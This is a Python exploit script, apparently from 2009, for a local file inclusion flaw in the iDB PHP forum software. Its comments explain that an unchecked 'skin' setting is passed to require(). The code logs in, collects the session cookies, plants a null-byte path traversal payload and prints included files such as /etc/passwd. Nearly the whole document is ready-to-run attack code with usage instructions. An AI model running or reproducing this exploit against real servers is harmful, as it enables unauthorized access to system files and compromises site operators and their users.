#!/usr/bin/env # LOTFREE 2009 - lotfree.next-touch.com # Local require() vulnerability in iDB (a PHP/MySQL BBS) # Test on version 0.2.5 Pre-Alpha SVN 243 (released March 30, 2009) # # No checks are made on var "skin" in inc/profilemain.php before saving it to database # this value is then require()d in mysql.php as $_GET['theme'] (global var is overwritten) : #=> require($SettDir['themes'].$_GET['theme']."/settings.php"); # so if we set "skin" to (for example) "../../../../../etc/passwd\0" we can get the passwd # file content :) # skin is saved to mysql as "UseTheme" in table idb_members # !! the type is "varchar(26)" so we are limited in injection :( !! # # Website of iDB : http://idb.berlios.de/ - http://sourceforge.net/projects/freshmeat_idb/ import urllib, urllib2, sys print "\tLOTFREE - iDB local PHP file inclusion vulnerability exploit\n" if len(sys.argv)!=5: print "Usage: python LOTF-iDB.py <forum_root> <local_path_for_inclusion> <login> <password>" print "e.g: python LOTF-iDB.py http://localhost/iDB/ ../../../../etc/passwd johndoe s3cr3t" print "use python LOTF-iDB.py <forum_root> iDB <login> <password> to restore the default skin" sys.exit() forum_root = sys.argv[1] if forum_root[-1]!="/": forum_root += "/" username = sys.argv[3] password = sys.argv[4] skin = "" if sys.argv[2]=="iDB": skin = "iDB" else: skin = sys.argv[2]+"\0" if len(skin)>26: print "Path for inclusion must be lower than 27 chars in length due to SQL structure :(" sys.exit() print "Logging on the server..." qs = {"username":username, "userpass": password, "storecookie": "true", "act": "loginmember"} req = urllib2.Request(forum_root+"member.php?act=login_now",urllib.urlencode(qs)) data = urllib2.urlopen(req) cookies = data.headers.getheaders("set-cookie") cook = [] for c in cookies: for t in c.split(";"): if t.find("=")>0: k = t.split("=")[0] v = t.split("=",1)[1] if k in ["idb_sess", "MemberName", "UserID", "SessPass"]: cook.append(k+"="+v) cook_str = "; ".join(cook) print "Cookie string:",cook_str print qs = {"YourOffSet" : "0", "MinOffSet" : "00", "skin" : skin, "RepliesPerPage" : "10", "TopicsPerPage" : "10", "MessagesPerPage" : "10", "DST" : "off", "act" : "settings", "update" : "now"} c_headers = {"Cookie": cook_str, "Referer": forum_root+"profile.php?act=settings"} print "Sending payload..." req = urllib2.Request(forum_root+"profile.php?act=settings",urllib.urlencode(qs),c_headers) urllib2.urlopen(req) req = urllib2.Request(forum_root+"index.php?act=view",headers=c_headers) data = urllib2.urlopen(req).read() # if /etc/passwd was included if data.find("root:x:0:0:")>=0: print data.split("<")[0] elif skin=="iDB": print "Default skin restored!" elif data.find("require")>=0: print "Oups... file not found or access forbidden :(\n" print data[:200] else: print "Output:" print data